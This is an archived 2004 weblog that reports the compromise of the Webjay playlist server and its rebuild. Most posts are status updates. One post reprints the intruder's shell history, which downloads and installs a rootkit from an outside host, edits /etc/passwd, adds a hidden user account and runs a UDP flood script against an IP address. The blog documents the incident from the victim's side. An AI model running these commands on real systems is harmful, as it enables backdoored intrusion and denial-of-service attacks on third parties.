Webjay outage report

Afterlife of this blog

2004-12-07T13:16:00.000-08:00

You are reading a defunct weblog. This weblog was created to stand in for the Webjay.org web site when it was totalled by a cracker. During that time the webjay.org domain forwarded to here, where users could get news about progress towards reopening the site.

But no longer.

If you are reading this, you must not have gone through the forwarding address. In that case, there is no here here.

BACK FROM THE DEAD -jay

2004-12-06T01:38:00.000-08:00

We're flipping the switch to put Webjay back online. It will take about a half day for the change to reach every ISP, so if you see this page instead of webjay.org, stop back in a little while.

In the meantime, let's celebrate:

Re-opening Monday

2004-12-03T15:21:00.000-08:00

The code is good to go, so the next thing is a couple days worth of security work.

Grand re-opening date: Monday.

Starfrosch playlist

2004-12-03T14:07:00.000-08:00

Markus Koller's hand-made M3U (hosted on gonze.com/playlists per my offer the other day) is rocking my apartment block. Markus, my neighbors are cursing you as I write this.

Doing it by hand is primitive but fun. Any more?

Update #1: Brett, aka webjaybs, posted more handmade playlists here:

http://brettsinger.net/projects/blog/temp/playlists/

http://www.brettsinger.net/projects/playlists/olderplaylists.html

Update #2: Actually, there's no need to email me the list of song URLs. Just post them in a comment and I'll make an M3U.

Testers wanted

2004-12-02T19:29:00.000-08:00

Almost everything is now running, and the bugs are getting smaller and smaller, so it's time to bring in more eyeballs. There are two criteria for people who want to do testing:

1) You have to be technical enough to convince your machine that webjay.org is on the IP address I will give you. On a Unix box this means editing /etc/hosts, on a Mac it means using NetInfo, on a Windows machine it means something I don't know.

2) You have to be known to me already, since the new layer of security isn't ready yet.

Send an email to lucas@gonze.com. (webjay.org email isn't up yet.)

Kewl

2004-12-02T01:17:00.000-08:00

Forums are up.

Rosie the 'lister says...

2004-12-01T23:50:00.000-08:00

Courtesy P. Harper:

Lemme tell you, I'm cursing like a sailor while I work on the rebuild. Anyway, if you're really jonesing there is a thing you can do. Back before webjay bootstrapped, Brett, Jim and myself were making playlists manually. What you do is make a file entitled playlistname.m3u with a bunch of URLs of songs in it, then put the file in a directory which is set up with the right mime types. gonze.com/playlists was set up for this, and it still is, so if you email me a .m3u file I'll copy it over there and post a pointer here.

For historical interest, the first really good playlist was Work, which you can still see (and maybe even listen to).

Knock knock

2004-12-01T14:21:00.000-08:00

Our friend from Brazil came knocking again. In the log of denied IP
addresses we have these:

200.175.27.55.dialup.gvt.net.br

201-1-138-30.dsl.telesp.net.br

What a creepy experience. It's like hearing noises in the night and
knowing for a fact that it's a burglar.

Status November 30

2004-11-30T20:43:00.000-08:00

The last backed-up version is now running on the new server and I'm in the process of merging in the freshest data and code. All together, the new version is up but in a very buggy state.

Cracker footsteps

2004-11-29T19:45:00.000-08:00

Kevin dug up the history file for the cracker. Unix people will recognize this as an exact copy of what the guy did when he first logged in. It's like watching a videotape of somebody breaking into your house.


cd /dev

history

wget http://www.cascorosso.com/xpl/shv5.tar.gz

tar -zxvf shv5.tar.gz

cd shv5

./setup 123qwe 404

history -r~

history -r

vi /etc/passwd

vi /etc/passwd

/usr/sbin/userdel fire

/usr/sbin/userdel lordx

ps xw

w

ls

exit

uname -a

/usr/sbin/adduser crond -d /dev/crond

passwd crond

uname -a

exit

id

wget perl udp.pl 200.103.191.2 29 2000

wget www.packetstormsecurity.org/DoS/udp.pl

perl udp.pl 200.103.191.2 29 2000

which lsof

/usr/sbin/lsof | grep r0nin

/usr/sbin/lsof | grep r0nin | less

cd /home/httpd

ls

cd vhosts/

ls

pwd

less kaotic.pl

ls -la

which talkd

which tall

which talk

man talk

ls -lrt

less messages

Notice that kaotic.pl file -- it must have been there before login, so the crack must have deposited it somehow. By the time we got to kaotic.pl it was full of the same garbage that all the files had in them.

Prognosis

2004-11-29T01:08:00.000-08:00

The database looks fine, so playlists and user accounts should be in good shape.

There are two backups of the code, a fairly old one which holds everything and a fresh one which holds only a few critical modules. These two different snapshots will have to be knitted together, which means that bugs will crop up during the first 1-2 days back up. Also, bugs fixed in the older backup will have to be refound and refixed.

My guess for how long the work will take is a few days at the least, a week at the most.

Revenge

2004-11-28T23:59:00.000-08:00

Kevin Prichard had an idea that the cracker was Brazilian, and I really thought for a second -- how hard would it be to get down there on short notice?

Progress

2004-11-28T23:55:00.000-08:00

The replacement Webjay server is now physically up and we can log in to get started. It's a completely fresh machine, so the next stage is basic things like user accounts, MySQL and Perl.

enviar

2004-11-28T21:47:00.000-08:00

Later on we discover this setup in /dev/shm:


Lee    [lee@generalpublic shm]$ ls -lt

Lee    total 8660

Lee    -rw-r--r-- 1 root root 4667507 Nov 28 15:33 emails3.txt

Lee    -rw-r--r-- 1 root root 378368 Nov 28 15:32 email1.6.txt

Lee    -rw-r--r-- 1 root root 3782928 Nov 28 15:25 emails.txt

Lee    -rw-r--r-- 1 root root 32 Nov 28 15:00 ok.txt

Lee    -rw-r--r-- 1 root root 2404 Nov 28 14:16 enviar.txt

Lee    -rw-r--r-- 1 root root 3760 Nov 28 13:16 microsoft.htm

Lee    that'll help the spam problem

...

plaus    heh... i think this guy was shotgunning emails that helped him find vulnerable

Win* machines to zombiefy - just a theory

"enviar" means "to send" in spanish. In other words, the guy would have used this cracked box to send out virii. I realize that doesn't make sense, since the guy also announced his presence by breaking as much as possible, but people are stupid.

back story

2004-11-28T18:05:00.000-08:00

Ok, so, what happened? I'll post bits as I have time to write and something to say.

I woke up this morning, Sunday, with the phone ringing. It was Jeff Harrington, who I know only via the net, as a composer-blogger and Webjay playlister, telling me the server was down. This was a really nice thing to do.

I logged on. The first thing I see is that a server configuration file has been replaced with a mangy bunch of HTML bragging about an exploit. After a little more poking around I find that all files under the web home have been replaced by that same text.

Webjay outage report

2004-11-28T17:49:00.000-08:00

The Webjay server has been cracked well enough to consider it totalled. I have created this weblog to report progress as the rebuild goes on.